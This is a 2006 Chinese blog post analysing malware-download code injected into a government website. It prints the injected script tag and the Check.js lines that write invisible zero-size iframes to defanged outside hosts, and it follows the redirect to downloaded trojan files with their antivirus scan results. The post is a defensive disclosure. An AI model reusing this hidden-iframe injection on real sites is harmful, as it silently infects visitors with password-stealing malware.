某政府网站被加入的自动下载病毒文件的代码变了花样（第1版）
endurer原创
2006.01.05第1版
今天在浏览前几天刚发现的那个被加了被加入自动下载病毒文件的代码的政府网站时（ 详见： 某政府网站被加入自动下载病毒文件的代码（第2版） ），发现其中自动下载病毒文件的代码变了，转了一次弯。
首先是使用：
〈script src=hxxp://www.****5166.com/tour/Check.js＞＜/script〉
来引入文件Check.js。
而这个Check.js里面其实是HTML代码：
document.write("＜iframe height=0 width=0 src=hxxp://www.***csedu.gov.cn/workOA/good/index.htm＞＜/iframe＞");
document.write("＜iframe height=0 width=0 src=hxxp://www.***hjonline.zk.cn/muma/mm.htm＞＜/iframe＞");
document.write("＜iframe height=0 width=0 src=hxxp://whc330330.***go.3322.org＞＜/iframe＞");
浏览器在打开
hxxp://www.***csedu.gov.cn/workOA/good/index.htm
时会自动转到
hxxp://www.***csedu.gov.cn/workOA/good/nt.htm
（nt.htm被Kaspersky将报为Trojan-Downloader.JS.Agent.h）。
浏览器在打开nt.htm时则会自动下载：
1. hxxp://www.***csedu.gov.cn/workOA/good/mmmmm.gif
http://virusscan.jotti.org/扫描的结果：
File:
mmmmm.gif
Status:
INFECTED/MALWARE
MD5
ac49ef4f23c35cdd5830fb691890ef47
Packers detected:
-
Scanner results
AntiVir
Found nothing
ArcaVir
Found nothing
Avast
Found nothing
AVG Antivirus
Found nothing
BitDefender
Found nothing
ClamAV
Found nothing
Dr.Web
Found Trojan.DownLoader.5583
F-Prot Antivirus
Found nothing
Fortinet
Found nothing
Kaspersky Anti-Virus
Found Exploit.JS.Phel.m
NOD32
Found nothing
Norman Virus Control
Found nothing
UNA
Found nothing
VBA32
Found nothing
2。hxxp://www.***csedu.gov.cn/workOA/good/xxxxx.pif
http://virusscan.jotti.org/扫描的结果：
File:
xxxxx.pif
Status:
POSSIBLY INFECTED/MALWARE (Note: this file was only flagged as malware by heuristic detection(s). This might be a false positive. Therefore, results of this scan will not be stored in the database)
MD5
286fd19874a5558a479187c253a4909f
Packers detected:
-
Scanner results
AntiVir
Found Heuristic/Trojan.PwdStealer (probable variant)
ArcaVir
Found nothing
Avast
Found nothing
AVG Antivirus
Found nothing
BitDefender
Found nothing
ClamAV
Found nothing
Dr.Web
Found nothing
F-Prot Antivirus
Found nothing
Fortinet
Found nothing
Kaspersky Anti-Virus
Found nothing
NOD32
Found probably a variant of Win32/Hupigon (probable variant)
Norman Virus Control
Found nothing
UNA
Found nothing
VBA32
Found nothing
3。hxxp://***.****xuemulove.com/a.gif（可能已不存在，未能获取）
瑞星18.08.32还没有反应。